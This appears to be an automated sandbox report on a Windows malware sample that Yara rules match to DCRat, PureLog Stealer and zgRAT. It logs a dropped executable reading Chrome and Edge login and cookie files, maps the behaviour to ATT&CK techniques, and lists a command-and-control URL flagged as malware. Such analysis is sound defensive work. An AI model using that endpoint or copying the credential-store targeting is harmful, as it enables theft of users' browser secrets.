Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DWTukBG9R7.exe PID: 3396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jXzXDduVeIqOfFYGnN.exe PID: 1600, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: DWTukBG9R7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DWTukBG9R7.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2102608195.0000000000BC2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\wininit.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: DWTukBG9R7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DWTukBG9R7.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\wininit.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	12 Process Injection	113 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	113 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
DWTukBG9R7.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
DWTukBG9R7.exe	100%	Avira	HEUR/AGEN.1323342
DWTukBG9R7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\kRKYWufF.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\TZwLNPIO.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\zCyFubHy.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\cnCjmBPY.log	100%	Avira	HEUR/AGEN.1300079
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\dzgITJmq.log	100%	Avira	TR/Agent.jbwuj
C:\Users\user\Desktop\haUhPxfM.log	100%	Avira	TR/Agent.jbwuj
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\wininit.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\zCyFubHy.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\cnCjmBPY.log	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\vUrgROiK.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\hqWzaFmj.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\LHvTaJQB.log	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\KbadTfuJ.log	100%	Joe Sandbox ML
C:\Recovery\wininit.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Recovery\wininit.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
C:\Users\user\Desktop\CKvNPuCt.log	29%	ReversingLabs
C:\Users\user\Desktop\EZaEGMWX.log	21%	ReversingLabs
C:\Users\user\Desktop\EpQDWYXm.log	25%	ReversingLabs
C:\Users\user\Desktop\KbadTfuJ.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\LHvTaJQB.log	16%	ReversingLabs
C:\Users\user\Desktop\MbILlBNZ.log	25%	ReversingLabs
C:\Users\user\Desktop\OJhBvsUw.log	29%	ReversingLabs
C:\Users\user\Desktop\TIptzuOL.log	21%	ReversingLabs
C:\Users\user\Desktop\TZwLNPIO.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\VpOjKmVj.log	25%	ReversingLabs
C:\Users\user\Desktop\cnCjmBPY.log	17%	ReversingLabs
C:\Users\user\Desktop\dzgITJmq.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\haUhPxfM.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\hqWzaFmj.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\kRKYWufF.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\vUrgROiK.log	16%	ReversingLabs
C:\Users\user\Desktop\zCyFubHy.log	17%	ReversingLabs
C:\Users\user\Desktop\znwnjTAb.log	25%	ReversingLabs

Source	Detection	Scanner	Label
http://193.124H	0%	Avira URL Cloud	safe
http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php	100%	Avira URL Cloud	malware
http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/	0%	Avira URL Cloud	safe
http://193.124.185.16	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
https://duckduckgo.com/chrome_newtab	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
https://duckduckgo.com/ac/?q=	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
http://193.124.185.16	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003332000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000338C000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000339B000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003287000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
